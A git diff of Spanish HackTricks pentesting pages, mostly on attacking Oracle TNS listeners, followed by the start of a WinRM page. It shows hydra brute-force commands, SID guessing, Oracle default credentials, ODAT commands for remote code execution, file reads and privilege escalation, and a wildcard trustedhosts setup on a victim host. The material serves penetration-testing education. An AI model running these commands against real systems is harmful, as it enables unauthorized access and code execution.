* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,249 +1,48 @@
|
|||
# 1521,1522-1529 - Pentesting Oracle TNS Listener
|
||||
# 1521,1522-1529 - Pentesting del Listener de Oracle TNS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al grupo de [**telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información Básica
|
||||
|
||||
La base de datos Oracle (Oracle DB) es un sistema de gestión de bases de datos relacionales (RDBMS) de Oracle Corporation (de [aquí](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
La base de datos Oracle (Oracle DB) es un sistema de gestión de base de datos relacional (RDBMS) de Oracle Corporation (de [aquí](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
Al enumerar Oracle, el primer paso es hablar con el TNS-Listener que generalmente reside en el puerto predeterminado (1521/TCP, -también puedes encontrar listeners secundarios en 1522–1529-).
|
||||
Al enumerar Oracle, el primer paso es comunicarse con el TNS-Listener que generalmente reside en el puerto predeterminado (1521/TCP, -también puede haber oyentes secundarios en 1522-1529-).
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
```
|
||||
## Resumen
|
||||
|
||||
1. **Enumerar información de versión** (buscar **vulns conocidas**)
|
||||
2. **Fuerza bruta al TNS listener** (no siempre necesario)
|
||||
3. **Enumerar**/Fuerza bruta de **nombres SID** (como nombres de bases de datos)
|
||||
4. **Fuerza bruta de credenciales** para nombre SID válido descubierto
|
||||
5. Intentar **ejecutar código**
|
||||
1. **Enumeración de Versiones**: Identificar información de la versión para buscar vulnerabilidades conocidas.
|
||||
2. **Fuerza bruta en TNS Listener**: A veces es necesario para establecer comunicación.
|
||||
3. **Enumeración/Fuerza bruta de Nombres SID**: Descubrir nombres de bases de datos (SID).
|
||||
4. **Fuerza bruta de Credenciales**: Intentar acceder al SID descubierto.
|
||||
5. **Ejecución de Código**: Intentar ejecutar código en el sistema.
|
||||
|
||||
Para usar los módulos de oracle de MSF necesitas instalar algunas dependencias: [**Instalación**](oracle-pentesting-requirements-installation.md)
|
||||
Para utilizar los módulos de MSF oracle necesitas instalar algunas dependencias: [**Instalación**](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## Enumeración
|
||||
## Publicaciones
|
||||
|
||||
Herramientas que se pueden usar para esto son: nmap, MSF y [tnscmd10g](http://dokfleed.net/files/audit/tnscmd10g.zip).
|
||||
Revisa estas publicaciones:
|
||||
|
||||
### Versión del TNS listener
|
||||
```bash
|
||||
nmap --script "oracle-tns-version" -p 1521 -T4 -sV <IP>
|
||||
msf> use auxiliary/scanner/oracle/tnslsnr_version
|
||||
#apt install tnscmd10g
|
||||
tnscmd10g version -p 1521 -h <IP>
|
||||
```
|
||||
Otros comandos útiles del TNS listener:
|
||||
* [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||
* [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||
* [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
* [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
| **Comando** | **Propósito** |
|
||||
| ------------ | ------------------------------------------------------------------ |
|
||||
| ping | Hacer ping al listener |
|
||||
| version | Proporcionar la salida de la versión del listener e información de la plataforma |
|
||||
| status | Devolver el estado actual y las variables utilizadas por el listener |
|
||||
| services | Volcar datos del servicio |
|
||||
| debug | Volcar información de depuración en el registro del listener |
|
||||
| reload | Recargar el archivo de configuración del listener |
|
||||
| save\_config | Escribir el archivo de configuración del listener en una ubicación de respaldo |
|
||||
| stop | Invocar el apagado del listener |
|
||||
|
||||
Si **recibes un error**, podría ser porque las **versiones de TNS son incompatibles** (Usa el parámetro `--10G` con `tnscmd10`) y si el **error persiste,** el listener puede estar **protegido por contraseña** (puedes ver una lista donde todos los [**errores están detallados aquí**](https://docs.oracle.com/database/121/ERRMG/TNS-00000.htm#ERRMG-GUID-D723D931-ECBA-4FA4-BF1B-1F4FE2EEBAD7)) — no te preocupes… hydra al rescate\*\*:\*\*
|
||||
```
|
||||
hydra -P rockyou.txt -t 32 -s 1521 host.victim oracle-listener
|
||||
```
|
||||
El listener TNS podría ser vulnerable a ataques **MitM**. [Consulta aquí cómo verificar si el servidor es vulnerable y cómo realizar el ataque (todas las versiones hasta la versión 12c están incluidas)](tns-poison.md).
|
||||
|
||||
### Enumeración de SID
|
||||
|
||||
#### **Qué es un SID**
|
||||
|
||||
El SID (Identificador de Servicio) es esencialmente el nombre de la base de datos, dependiendo de la instalación puedes tener uno o más SIDs predeterminados, o incluso un SID totalmente personalizado definido por el dba.
|
||||
|
||||
**En algunas versiones antiguas (en la 9 funciona)** podrías solicitar el SID y la base de datos te lo enviaba:
|
||||
```bash
|
||||
tnscmd10g status-p 1521 -h <IP> #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)
|
||||
|
||||
#msf1
|
||||
msf> use auxiliary/scanner/oracle/sid_enum
|
||||
msf> set rhost <IP>
|
||||
msf> run
|
||||
#msf2
|
||||
msf> use auxiliary/admin/oracle/tnscmd
|
||||
msf> set CMD (CONNECT_DATA=(COMMAND=STATUS))
|
||||
msf> set rhost <IP>
|
||||
msf> run #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)
|
||||
```
|
||||
Si no puedes acceder a los SIDs de esta manera, necesitarás hacerles fuerza bruta:
|
||||
|
||||
**Fuerza Bruta de SID**
|
||||
|
||||
He fusionado las listas de SID de nmap y MSF en esta (sin duplicados):
|
||||
|
||||
{% file src="../../.gitbook/assets/sids-oracle.txt" %}
|
||||
```bash
|
||||
hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 <IP> oracle-sid
|
||||
patator oracle_login host=<IP> sid=FILE0 0=sids-oracle.txt -x ignore:code=ORA-12505
|
||||
./odat.py sidguesser -s $SERVER -d $SID --sids-file=./sids.txt
|
||||
msf> use auxiliary/admin/oracle/sid_brute #This will use the list located at /usr/share/metasploit-framework/data/wordlists/sid.txt
|
||||
nmap --script +oracle-sid-brute -p 1521 10.11.1.202 #This will use the list lcated at /usr/share/nmap/nselib/data/oracle-sids
|
||||
```
|
||||
Para usar **oracle\_login** con **patator** necesitas **instalar**:
|
||||
```
|
||||
pip3 install cx_Oracle --upgrade
|
||||
```
|
||||
## **Objetivos de Cuentas**
|
||||
|
||||
**¿Tienes SID?** Excelente, ahora pasemos a la siguiente tarea y extraigamos la información de la cuenta de usuario. Desde este punto, puedes conectarte al listener y forzar bruscamente las credenciales.
|
||||
|
||||
**Metasploit** _\*\*scanner/oracle/oracle\_login_ Cuenta con un diccionario incorporado para los **valores predeterminados más populares de la información de la cuenta de usuario** presentada como login:password. Por cierto, tales entradas predeterminadas representan uno de los problemas de seguridad más populares y graves en Oracle.
|
||||
|
||||
**Nmap** también puede ayudar aquí con el script _oracle-brute_. Ten en cuenta que este script **mezcla los logins y las contraseñas**, es decir, intenta cada login contra cada contraseña, ¡y lleva bastante tiempo!
|
||||
|
||||
### **Contraseñas Predeterminadas**
|
||||
|
||||
A continuación, se presentan algunas de las contraseñas predeterminadas asociadas con Oracle:
|
||||
|
||||
* **DBSNMP/DBSNMP** — El Agente Inteligente utiliza esto para comunicarse con el servidor de base de datos (es algo de trabajo cambiarlo)
|
||||
* **SYS/CHANGE\_ON\_INSTALL** — Cuenta predeterminada de sysdba antes y hasta Oracle v9, a partir de la versión 10g esto tiene que ser diferente!
|
||||
* **PCMS\_SYS/PCMS\_SYS** — Cuenta x predeterminada
|
||||
* **WMSYS/WMSYS** — Cuenta x predeterminada
|
||||
* **OUTLN/OUTLN** — Cuenta x predeterminada
|
||||
* **SCOTT/TIGER** — Cuenta x predeterminada
|
||||
|
||||
Otras **contraseñas predeterminadas** se pueden encontrar [aquí](http://www.petefinnigan.com/default/oracle_default_passwords.htm) y [aquí](https://cirt.net/passwords?vendor=Oracle).
|
||||
|
||||
Las versiones 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2 y 11.2.0.3 son vulnerables a **fuerza bruta offline**. [**Lee más sobre esta técnica aquí.**](remote-stealth-pass-brute-force.md)
|
||||
|
||||
### Fuerza Bruta de Usuario/Contraseña
|
||||
|
||||
Diferentes herramientas ofrecen **listas de usuario/contraseña diferentes** para oracle:
|
||||
|
||||
* **oscan:** _/usr/share/oscanner/accounts.default_ (169 líneas)
|
||||
* **MSF-1:** _de_ admin/oracle/oracle\_login \_\_/usr/share/metasploit-framework/data/wordlists/oracle\_default\_passwords.csv (598 líneas)
|
||||
* **MSF-2:** _de scanner/oracle/oracle\_login_ _/usr/share/metasploit-framework/data/wordlists/oracle\_default\_userpass.txt_ (568 líneas)
|
||||
* **Nmap:** _/usr/share/nmap/nselib/data/oracle-default-accounts.lst_ (687 líneas)
|
||||
|
||||
He **mezclado** todas ellas y **eliminado duplicados:**
|
||||
|
||||
{% file src="../../.gitbook/assets/users-oracle.txt" %}
|
||||
|
||||
{% file src="../../.gitbook/assets/pass-oracle.txt" %}
|
||||
|
||||
### [Fuerza Bruta](../../generic-methodologies-and-resources/brute-force.md#oraclesql)
|
||||
|
||||
Ahora que **sabes un SID válido y credenciales válidas**. Para conectarte a la base de datos necesitas la herramienta: _**sqlplus**_ y para instalarla necesitas seguir algunos pasos:
|
||||
|
||||
[Instalación](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
Para iniciar sesión utilizando credenciales conocidas:
|
||||
```
|
||||
sqlplus <username>/<password>@<ip_address>/<SID>;
|
||||
```
|
||||
Si el TNS Listener está en un puerto no predeterminado (por ejemplo, TCP/1522):
|
||||
```
|
||||
sqlplus <username>/<password>@<ip_address>:<port>/<SID>;
|
||||
```
|
||||
Si una **cuenta tiene privilegios de base de datos del sistema (sysdba) o de operador del sistema (sysop)**, es posible que desee intentar lo siguiente:
|
||||
```bash
|
||||
sqlplus <username>/<password>@<ip_address>/<SID> 'as sysdba';
|
||||
#Example:
|
||||
sqlplus SYSTEM/MANAGER@192.168.0.2/ORCL 'as sysdba'
|
||||
```
|
||||
## **Todo en Uno**
|
||||
|
||||
**Una herramienta interesante es oscanner**, que intentará obtener un SID válido y luego realizará fuerza bruta para obtener credenciales válidas y tratar de extraer información:
|
||||
```bash
|
||||
#apt install oscanner
|
||||
oscanner -s <IP> -P <PORT>
|
||||
```
|
||||
Otra herramienta que realizará todo esto es [**odat**](https://github.com/quentinhardy/odat):
|
||||
```bash
|
||||
git clone https://github.com/quentinhardy/odat.git
|
||||
cd odat
|
||||
./odat.py --help #It shouldn't be problems in Kali
|
||||
./odat.py all -s <IP> -p <PORT>
|
||||
./odat.py all -s <IP> -p <PORT> -d <SID> #To bruteforce accounts for that SID
|
||||
```
|
||||
Con estas opciones (_-s_ y _-p_), ODAT realizará **búsqueda de SID válidos** (System ID) en un primer paso. Puedes configurar algunas opciones para los métodos de configuración (p. ej. lista de palabras o ataque de fuerza bruta). Por defecto, ODAT usará una gran lista de palabras y realizará un pequeño ataque de fuerza bruta.
|
||||
|
||||
Si ODAT **encuentra al menos un SID** (por ejemplo, _ORCL_), buscará **cuentas Oracle válidas**. Lo hará en **cada SID encontrado**. Puedes especificar algunas opciones para las credenciales (p. ej. _--accounts-file_, _--accounts-files_, _--login-as-pwd_).
|
||||
|
||||
Para **cada cuenta válida** (p. ej. _SYS_) **en cada instancia válida** (SID), ODAT devolverá **lo que cada usuario de Oracle puede hacer** (p. ej. shell inverso, leer archivos, convertirse en DBA).
|
||||
|
||||
[**Wiki de odat**](https://github.com/quentinhardy/odat/wiki)
|
||||
|
||||
## Ejecución Remota de Código
|
||||
|
||||
Hay al menos dos formas diferentes de ejecutar comandos, como usar procedimientos de Java y el paquete DBMS\_SCHEDULER. Por cierto, también puedes lograr RCE en caso de inyección SQL en una aplicación web, siempre que el usuario que la ejecute tenga los derechos suficientes. En esta etapa, recomiendo encarecidamente preparar la Herramienta de Ataque a Bases de Datos Oracle: [ODAT](https://github.com/quentinhardy/odat).
|
||||
|
||||
### Instalar ODAT
|
||||
```bash
|
||||
git clone https://github.com/quentinhardy/odat.git
|
||||
cd odat
|
||||
./odat.py #It shouldn't be problems in Kali
|
||||
```
|
||||
### Ejecutar código a través de un Procedimiento Almacenado de Java
|
||||
```bash
|
||||
./odat.py java -s <IP> -U <username> -P <password> -d <SID> --exec COMMAND
|
||||
```
|
||||
[Más detalles aquí](oracle-rce-and-more.md#rce-java-store-procedure)
|
||||
|
||||
### Ejecutar código a través del Programador
|
||||
```bash
|
||||
./odat.py dbmsscheduler -s <IP> -d <SID> -U <username> -P <password> --exec "C:\windows\system32\cmd.exe /c echo 123>>C:\hacK"
|
||||
```
|
||||
[Más detalles aquí](oracle-rce-and-more.md#rce-scheduler)
|
||||
|
||||
### Ejecutar código mediante Tablas Externas
|
||||
```bash
|
||||
./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --exec "C:/windows/system32" "calc.exe"
|
||||
```
|
||||
‘ODAT.py’ requiere el privilegio ‘CREATE ANY DIRECTORY’, que, por defecto, se concede solo al rol DBA, ya que intenta ejecutar el archivo desde cualquier directorio y no solo "tu" directorio (la versión manual de este ataque requiere menos privilegios).
|
||||
|
||||
[Más detalles aquí.](oracle-rce-and-more.md#rce-external-tables)
|
||||
|
||||
## Leer/Escribir archivos
|
||||
```bash
|
||||
./odat.py utlfile -s <IP> -d <SID> -U <username> -P <password> --getFile "C:/test" token.txt token.txt
|
||||
./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --getFile "C:/test" "my4.txt" "my"
|
||||
```
|
||||
[Más detalles aquí](oracle-rce-and-more.md#read-write-files)
|
||||
|
||||
## Elevación de Privilegios
|
||||
|
||||
[Más detalles aquí](oracle-rce-and-more.md#elevating-privileges)
|
||||
|
||||
Puedes usar el módulo [privesc](https://github.com/quentinhardy/odat/wiki/privesc) de odat para escalar privilegios. En ese enlace puedes encontrar **varias formas de escalar privilegios utilizando odat.**
|
||||
```bash
|
||||
./odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD -h #Get module Help
|
||||
```
|
||||
Vulnerabilidad probada en oracle 10.1.0.3.0 – debería funcionar hasta 10.1.0.5.0 y supuestamente en 11g. Solucionado con la actualización crítica de Oracle de octubre de 2007.
|
||||
```bash
|
||||
msf> use auxiliary/sqli/oracle/lt_findricset_cursor
|
||||
```
|
||||
## Entorno Virtual Gratuito para pruebas
|
||||
|
||||
Si quieres practicar ataques a bases de datos Oracle, la forma más segura es registrarte en la VM de Virtualbox de Oracle Developer Days:
|
||||
|
||||
{% embed url="http://www.oracle.com/technetwork/database/enterprise-edition/databaseappdev-vm-161299.html" %}
|
||||
|
||||
La mayor parte de la información en este post fue extraída de: [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573) y de [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
|
||||
Otras **referencias** interesantes:
|
||||
|
||||
[http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
## Comandos Automáticos HackTricks
|
||||
## Comandos Automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1521 #Comma separated if there is more than one.
|
||||
|
@ -273,14 +72,14 @@ Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,62 +2,62 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
|
||||
|
||||
**Obtén recompensas sin demoras**\
|
||||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
|
||||
**Perspectivas de Hacking**\
|
||||
Involúcrate con contenido que profundiza en la emoción y desafíos del hacking
|
||||
|
||||
**Obtén experiencia en pentesting web3**\
|
||||
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real
|
||||
|
||||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
**Últimos Anuncios**\
|
||||
Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
|
||||
|
||||
## WinRM
|
||||
|
||||
[Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) (WinRM) es un protocolo de Microsoft que **permite la administración remota de máquinas Windows** a través de HTTP(S) utilizando SOAP. En el backend, utiliza WMI, por lo que se puede pensar en él como una API basada en HTTP para WMI.
|
||||
[Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) (WinRM) es un protocolo de Microsoft que **permite la gestión remota de máquinas Windows** a través de HTTP(S) utilizando SOAP. En el backend utiliza WMI, por lo que se puede pensar en él como una API basada en HTTP para WMI.
|
||||
|
||||
Si WinRM está habilitado en la máquina, es trivial administrarla de forma remota desde PowerShell. De hecho, puedes ingresar a una sesión remota de PowerShell en la máquina (¡como si estuvieras usando SSH!)
|
||||
Si WinRM está habilitado en la máquina, es trivial administrarla de forma remota desde PowerShell. De hecho, puedes simplemente acceder a una sesión remota de PowerShell en la máquina (¡como si estuvieras usando SSH!)
|
||||
|
||||
La forma más sencilla de detectar si WinRM está disponible es verificando si el puerto está abierto. WinRM escuchará en uno de estos dos puertos:
|
||||
La forma más sencilla de detectar si WinRM está disponible es ver si el puerto está abierto. WinRM escuchará en uno de dos puertos:
|
||||
|
||||
* **5985/tcp (HTTP)**
|
||||
* **5986/tcp (HTTPS)**
|
||||
|
||||
Si alguno de estos puertos está abierto, WinRM está configurado y puedes intentar ingresar a una sesión remota.
|
||||
Si uno de estos puertos está abierto, WinRM está configurado y puedes intentar acceder a una sesión remota.
|
||||
|
||||
## **Iniciando una sesión de WinRM**.
|
||||
## **Iniciando Sesión WinRM**.
|
||||
|
||||
Podemos configurar PowerShell para que funcione con WinRM. Según la documentación de Microsoft, Enable-PSRemoting es un cmdlet que configura la computadora para recibir comandos remotos de PowerShell. Si tenemos acceso a un símbolo del sistema de PowerShell elevado en la víctima, podemos habilitarlo y agregar cualquier "atacante" como hosts de confianza. Podemos ejecutar los siguientes dos comandos:
|
||||
Podemos configurar PowerShell para trabajar con WinRM. Según la documentación de Microsoft, Enable-PSRemoting es un cmdlet que configura la computadora para recibir comandos remotos de PowerShell. Si tenemos acceso a un símbolo del sistema de PowerShell elevado en la víctima, podemos habilitarlo y agregar cualquier "atacante" como hosts de confianza. Podemos ejecutar los siguientes dos comandos:
|
||||
```
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```
|
||||
Esto agrega un comodín a la configuración de trustedhosts. Ten cuidado con lo que eso implica. _Nota: También tuve que cambiar el tipo de red en mi máquina de ataque de "Pública" a "Red de trabajo"._
|
||||
Esto agrega un comodín a la configuración de trustedhosts. Ten cuidado con lo que eso implica. _Nota: También tuve que cambiar el tipo de red en mi máquina de ataque de "Pública" a red "de Trabajo"._
|
||||
|
||||
También puedes **activar** WinRM de forma **remota** _\*\*\_usando \_wmic_:
|
||||
También puedes **activar** WinRM **de forma remota** _\*\*\_usando \_wmic_:
|
||||
```
|
||||
